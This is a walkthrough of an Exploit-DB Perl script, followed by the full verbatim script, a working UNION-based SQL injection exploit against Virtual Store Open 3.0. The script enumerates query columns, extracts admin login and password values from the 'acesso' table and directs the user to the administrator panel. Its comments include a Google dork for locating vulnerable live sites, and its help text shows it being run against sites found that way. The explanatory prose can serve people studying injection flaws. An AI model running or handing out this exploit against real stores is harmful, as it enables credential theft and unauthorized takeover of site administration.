Virtual Store Open 3.0 - Acess SQL Injection Exploit Walkthrough

Virtual Store Open 3.0 - Acess SQL Injection Exploit Walkthrough
What this paper is
This paper details a vulnerability in Virtual Store Open version 3.0, specifically an Access SQL Injection flaw. The exploit script provided aims to leverage this vulnerability to extract login credentials (username and password) from the acesso table within the web application's database. It then guides the user to the administrator panel using these credentials.
Simple technical breakdown
The core of the vulnerability lies in how the web application handles user input for product IDs. When a user requests a product, the application likely constructs a SQL query using the provided product ID. If this input is not properly sanitized, an attacker can inject malicious SQL commands.
This exploit uses a technique called "UNION-based SQL Injection." It works by:
- Finding the number of columns: The script first probes the vulnerable URL to determine the correct number of columns expected by the original SQL query. It does this by trying to inject a
UNION SELECTstatement with an increasing number of columns. - Injecting a placeholder: Once the column count is known, it injects a
UNION SELECTstatement that includes a placeholder (constructed usingchr()functions and other characters) and the target table (acesso). The goal is to make the database return data from theacessotable alongside the original query's results. - Extracting credentials: The script then attempts to extract the login and password by specifically targeting the
loginandsenhacolumns from theacessotable. It uses a clever method of encoding the desired column names usingchr()functions and then searching for specific patterns in the response. - Base64 encoded credentials: The extracted login and password are then presented, often in Base64 encoded format, which can be decoded to reveal the actual credentials.
- Admin panel access: Finally, the script provides the URL to the administrator panel, where the decoded credentials can be used for access.
Complete code and payload walkthrough
The provided Perl script automates the process of finding and exploiting the SQL injection vulnerability. Let's break down its components.
Global Variables and Configuration:
#!/usr/bin/perl: Shebang line, indicating the script should be executed with Perl.- Comments: Provide information about the script's name, target, links, author, and a Google dork for finding vulnerable sites. It also hints at Base64 decoding for credentials and the administrator panel location.
use IO::Socket::INET;,use IO::Select;,use HTTP::Request;,use LWP::UserAgent;: These lines import necessary Perl modules for network communication, HTTP requests, and user agent functionality.my $host = $ARGV[0];: Assigns the first command-line argument (the target URL) to the$hostvariable.my $spc = "%20";: Defines a URL-encoded space character.my $ce = "%26";: Defines a URL-encoded ampersand character.my $fim_n = 51;: Sets the maximum number of columns to test during the column enumeration phase. This is a crucial assumption about the maximum possible columns in the original query.my $login = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."login".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";: This constructs a string that, when interpreted by the SQL engine, will representb r0ly login b r0ly. Thechr()functions are used to represent characters by their ASCII values. This is part of the payload to identify the login column.my $senha = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."senha".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";: Similar to$login, this constructs a string representingb r0ly senha b r0ly. This is part of the payload to identify the password column.
Main Execution Flow:
if(@ARGV < 1 ) { help(1); }: Checks if a URL argument is provided. If not, it calls thehelpfunction.$h0st = url_id($host);: Processes the input URL to prepare it for injection.banner();: Displays the script's banner.magic($h0st);: Calls the main function to perform the exploit.
magic() Subroutine:
This is the core of the exploit logic.
my $url = $_[0];: Gets the processed target URL.my $union = "UNION".$spc."SELECT".$spc;: Defines the start of the UNION SELECT statement.my $end = "FROM".$spc."acesso;";: Defines the end of the UNION SELECT statement, specifying the target tableacesso.my $c0de = ""; my $c0li = "";: Initializes variables to build parts of the injected SQL query.$c0deseems to be a placeholder for the original query's data, while$c0liis for the injected SQL.my $i = 1; my $content = "";: Initializes loop counter and content variable.print "[+] GO: $url\n";: Prints the target URL.syswrite(STDOUT,"[+] Testing: ",14);: Prints a testing message.Column Enumeration Loop (
for($i = 1;$i <= $fim_n;$i += 1)):my @num_magic = char_str($i);: Converts the current column number$iinto its ASCII character representation.my $num_edit = edit_char(@num_magic);: Creates a SQLchr()expression for the current column number.my $hex = "chr(98)".$ce."chr(114)".$ce."chr(48)".$ce."chr(108)".$ce."chr(121)".$ce."$num_edit".$ce."chr(121)".$ce."chr(108)".$ce."chr(48)".$ce."chr(114)".$ce."chr(98)";: This is a critical part of the injection. It constructs a string likechr(98)&chr(114)&chr(48)&chr(108)&chr(121)&chr(X)&chr(121)&chr(108)&chr(48)&chr(114)&chr(98), whereXis the ASCII value of the current column number$i. This string is designed to be a unique identifier that will appear in the response if the injection is successful. It essentially creates a patternbr0ly<number>yl0rb.my $bin = "br0ly".$i."yl0rb";: Creates a simple string representation of the pattern for later comparison.- Building
$c0liand$c0de: These variables are populated with comma-separated values for theUNION SELECTstatement.$c0licontains the dynamically generatedchr()expressions, and$c0decontains the simple string representations. syswrite(STDOUT,$i.",", 255);: Prints the current column number being tested.my $xpl = $url.$spc.$union.$c0li.$spc.$end;: Constructs the full SQL injection URL. It appends theUNION SELECTstatement to the original URL.$content = get_query($xpl);: Sends the crafted URL to the target and retrieves the response content.$content = tag($content);: Processes the response content, replacing spaces with$and whitespace with*. This is likely to make pattern matching easier.- Success Condition Check:
if($content =~ /fail/) { $i = $fim_n+1; }: If the response indicates a failure (e.g., "fail" string), the loop is terminated.if($content =~ m/br0ly/i): This is the primary success check. If the injected patternbr0ly(case-insensitive) is found in the response, it means theUNION SELECTstatement has successfully returned data that includes our injected string.$number = ssdp_mid_str("br0ly","yl0rb",$content);: Extracts the number between "br0ly" and "yl0rb" from the response. This number corresponds to the column number that successfully returned data.$link1 = str_replace($c0de,"br0ly".$number."yl0rb","c0li");: Replaces the placeholder in$c0dewith the actual extracted number.$link2 = str_replace($link1,"br0ly","");: Removes "br0ly" from the string.$link3 = str_replace($link2,"yl0rb","");: Removes "yl0rb" from the string. The result$link3is now the actual column name that returned data, likely a number.$inject = $url.$spc.$union.$link3.$spc.$end;: Reconstructs the URL with the identified column number.$sql_i = $inject;: Stores the final injected URL.print "\n[+] URL_INJECTED:: $inject\n";: Prints the successful injection URL.$login_i = get_login($sql_i);: Callsget_loginto extract the username.$senha_i = get_senha($sql_i);: Callsget_senhato extract the password.$i = $fim_n;: Exits the loop.
if($i == $fim_n+1) { print ("[-] Failed to get magic number. Please try it manually :)\n"); }: If the loop completes without finding the pattern, it indicates failure.
print ("[+] Done\n");: Prints a completion message.
Helper Subroutines:
tag(): Replaces spaces with$and whitespace with*in a string.ssdp_mid_str($left, $right, $string): Extracts the substring between$leftand$rightfrom$string. Used to get the number from thebr0ly<number>yl0rbpattern.get_login($sqli):$login_aux = str_replace($sqli,"c0li",$login);: Replaces the placeholder "c0li" in the injected URL with the pre-defined$loginstring (which is designed to extract the login column).$query = get_query($login_aux);: Fetches the response from the modified URL.if($query =~ m/br0ly(.+)br0ly/i): Searches for the patternbr0ly<login_data>br0lyin the response.$login_r = $1; return $login_r;: Extracts the captured login data and returns it.else { return 1; }: Returns 1 if the login data is not found.
get_senha($sqli): Similar toget_login, but uses the pre-defined$senhastring to extract the password.url_id($host):- Takes the input URL and tries to find an ID parameter (e.g.,
produto=98). if($host =~ /=(.+)/): If an equals sign followed by characters is found, it assumes it's an ID.$id = $1; $new_id = "-1"; $host = str_replace($host,$id,$new_id);: Replaces the original ID with-1. This is a common technique to make the original query return an error or a predictable result that can be manipulated by theUNION SELECT.return $host;: Returns the modified URL.else { return $fail; }: Returns "fail" if no ID parameter is found.
- Takes the input URL and tries to find an ID parameter (e.g.,
str_replace($source, $search, $replace): A simple string replacement function.get_query($link):- Takes a URL, removes "http://", creates an
HTTP::Request, and usesLWP::UserAgentto fetch the content. - Includes a commented-out error check for timeouts.
- Returns the response content.
- Takes a URL, removes "http://", creates an
char_str($str_1): Converts a string (like a number) into an array of its ASCII character codes usingunpack("C*", ...).edit_char(@num):- Takes an array of ASCII numbers.
- If there's more than one number, it constructs a string like
chr(num1)&chr(num2). - If there's only one number, it constructs
chr(num1). This is used to build the SQLchr()expressions for injection.
help($help): Displays help messages and exits.banner(): Displays the script's banner.
Payload/Shellcode Segments:
The script doesn't contain traditional shellcode in the sense of executable machine code. Instead, its "payload" is the crafted SQL injection string.
- SQL Injection String Construction:
- The core of the payload is the
UNION SELECTstatement. - The script dynamically builds this statement by:
- Determining the number of columns to select.
- Injecting placeholder values that are designed to be unique and identifiable in the response. These placeholders are constructed using
chr()functions for characters and numbers. - The specific placeholders used are
chr(98)chr(114)chr(48)chr(108)chr(121)(which decodes tobr0ly) andchr(121)chr(108)chr(48)chr(114)chr(98)(which decodes toyl0rb). - The script inserts the current loop counter
$i(converted to ASCIIchr()values) between these two parts, creating a unique string likebr0ly<number>yl0rb. - The final injection looks like:
...&produto=-1 UNION SELECT 1,2,3,..., chr(98)&chr(114)&...&chr(X)&...&chr(121)&chr(108)&... FROM acesso;(whereXis the ASCII value of the current column number).
- The core of the payload is the
- Credential Extraction Payload:
- Once the vulnerable column is identified, the script modifies the injection to specifically target the
loginandsenhacolumns. - The
$loginand$senhavariables contain pre-constructed SQL strings that represent the column namesloginandsenha, but encoded usingchr()functions and interspersed with thebr0lyandyl0rbpatterns. For example,$loginis designed to produce something likechr(98)&chr(114)&chr(48)&chr(108)&chr(121)&login&chr(98)&chr(114)&chr(48)&chr(108)&chr(121). - The script then uses
str_replaceto substitute the generic placeholder (c0li) in the injected query with these specific column-extraction strings. - The resulting query is something like:
...&produto=-1 UNION SELECT 1,2,3,..., (chr(98)&chr(114)&...&login&...&chr(98)&chr(114)&...) ,..., FROM acesso;. - The script expects the database to return the actual login and password values from the
acessotable, which will appear between thebr0lyandyl0rbmarkers in the response.
- Once the vulnerable column is identified, the script modifies the injection to specifically target the
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
#
# Script Name: Virtual Store Open <= 3.0
# Link1 : http://www.virtuastore.com.br/shopping.asp?link=ShoppingVirtuaStore
# Link2 : http://www.virtuastore2010.com.br/
# Link3 Yahoo Group : http://br.groups.yahoo.com/group/virtuastore/
# Bug: Acess Sql Injection
# Found: Br0ly
# google dork: inurl:"produtos.asp?produto="
# Use some base64 decode google IT.
# After decoding login and pass go to: www.site.com.br/administrador.asp
# aoiuaoaaaaiuahiuahaaiauhaiuha EASY ???
# BRASIL!! :D
#
# exploit demo:
#
#[br0ly@xploit web]$ perl virtualstore.txt http://server/produtos.asp?produto=98
#
# --------------------------------------
# -Virutal Store OPen
# -ACESS Sql Injection
# -by Br0ly
# --------------------------------------
#
#[+] GO: http://server/produtos.asp?produto=-1
#[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
#[+] URL_INJECTED:: http://server/produtos.asp?produto=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,c0li,24,25%20FROM%20acesso;
#[+] LOGIN:: YWRtaW4=
#[+] SENHA:: ZXVyZWth
#[+] Done
#
# ADMIN PAINEL: http://server/administrador.asp
#
use IO::Socket::INET;
use IO::Select;
use HTTP::Request;
use LWP::UserAgent;
#CONF
my $host = $ARGV[0];
my $spc = "%20";
my $ce = "%26";
my $fim_n = 51;
my $login = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."login".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
my $senha = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."senha".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
if(@ARGV < 1 ) { help(1); }
$h0st = url_id($host);
banner();
#GO
magic($h0st);
sub magic () {
my $url = $_[0];
my $union = "UNION".$spc."SELECT".$spc;
my $end = "FROM".$spc."acesso;";
my $c0de = "";
my $c0li = "";
my $i = 1;
my $content = "";
print "[+] GO: $url\n";
syswrite(STDOUT,"[+] Testing: ",14);
for($i = 1;$i <= $fim_n;$i += 1) {
my @num_magic = char_str($i);
my $num_edit = edit_char(@num_magic);
my $hex = "chr(98)".$ce."chr(114)".$ce."chr(48)".$ce."chr(108)".$ce."chr(121)".$ce."$num_edit".$ce."chr(121)".$ce."chr(108)".$ce."chr(48)".$ce."chr(114)".$ce."chr(98)";
my $bin = "br0ly".$i."yl0rb";
if(($i > 1) && ($i < $fim_n)) {
$c0li = $c0li.",".$hex;
$c0de = $c0de.",".$bin;
}
else {
$c0li = $c0li.$hex;
$c0de = $c0de.$bin;
}
syswrite(STDOUT,$i.",", 255);
my $xpl = $url.$spc.$union.$c0li.$spc.$end;
$content = get_query($xpl);
$content = tag($content);
if($content =~ /fail/) { $i = $fim_n+1; }
if($content =~ m/br0ly/i) {
$number = ssdp_mid_str("br0ly","yl0rb",$content);
$link1 = str_replace($c0de,"br0ly".$number."yl0rb","c0li");
$link2 = str_replace($link1,"br0ly","");
$link3 = str_replace($link2,"yl0rb","");
$inject = $url.$spc.$union.$link3.$spc.$end;
$sql_i = $inject;
print "\n[+] URL_INJECTED:: $inject\n";
$login_i = get_login($sql_i);
if($login_i != 1) {
print "[+] LOGIN:: $login_i\n";
}
else {
print "[-] FAIL TO GET LOGIN\n";
}
$senha_i = get_senha($sql_i);
if($senha_i != 1) {
print "[+] SENHA:: $senha_i\n";
}
else {
print "[-] FAIL TO GET SENHA\n";
}
$i = $fim_n;
}
if($i == $fim_n+1) {
print ("[-] Failed to get magic number. Please try it manually :)\n");
}
}
print ("[+] Done\n");
}
sub tag () {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}
sub ssdp_mid_str () {
my $left = $_[0];
my $right = $_[1];
my $string = $_[2];
my @exp = split($left,$string);
my @data = split($right,$exp[1]);
return $data[0];
}
sub get_login () {
my $sqli = $_[0];
$login_aux = str_replace($sqli,"c0li",$login);
$query = get_query($login_aux);
if($query =~ m/br0ly(.+)br0ly/i) {
$login_r = $1;
return $login_r;
}
else { return 1; }
}
sub get_senha () {
my $sqli = $_[0];
$senha_aux = str_replace($sqli,"c0li",$senha);
$query = get_query($senha_aux);
if($query =~ m/br0ly(.+)br0ly/i) {
$senha_r = $1;
return $senha_r;
}
else { return 1; }
}
sub url_id () {
my $host = $_[0];
my $fail = "fail";
if($host =~ /=(.+)/) {
$id = $1;
$new_id = "-1";
$host = str_replace($host,$id,$new_id);
return $host;
}
else {
return $fail;
}
}
sub str_replace () {
my $source = shift;
my $search = shift;
my $replace = shift;
$source =~ s/$search/$replace/ge;
return $source;
}
sub get_query () {
my $link = $_[0];
if($link =~ /http:\/\//) { $link =~ s/http:\/\///; }
my $fail = "fail";
my $req = HTTP::Request->new(GET => "http://".$link);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
#if ($response->is_error) { print("[-][Error] [timeout]\n"); return $fail; }
return $response->content;
}
sub char_str () {
my $str_1 = $_[0];
my @str_char = unpack("C*", $str_1);
return @str_char;
}
sub edit_char () {
my @num = @_;
my $num_t = @num;
my $num_magic;
if($num_t > 1) {
$num_magic = "chr($num[0])".$ce."chr($num[1])";
return $num_magic;
}
else {
$num_magic = "chr($num[0])";
return $num_magic;
}
}
sub help () {
my $help = $_[0];
if($help == 1) {
banner();
print "[-] MISS URL..\n";
print "[+] USE:EX: perl $0 http://www.site_find_in_google.com.br/produtos.asp?produto=98\n";
print "[+] USE:EX-LIVE: perl $0 http://server/produtos.asp?produto=98\n";
exit(0);
}
}
sub banner() {
print "\n".
" --------------------------------------\n".
" -Virutal Store OPen \n".
" -ACESS Sql Injection \n".
" -by Br0ly \n".
" --------------------------------------\n\n";
}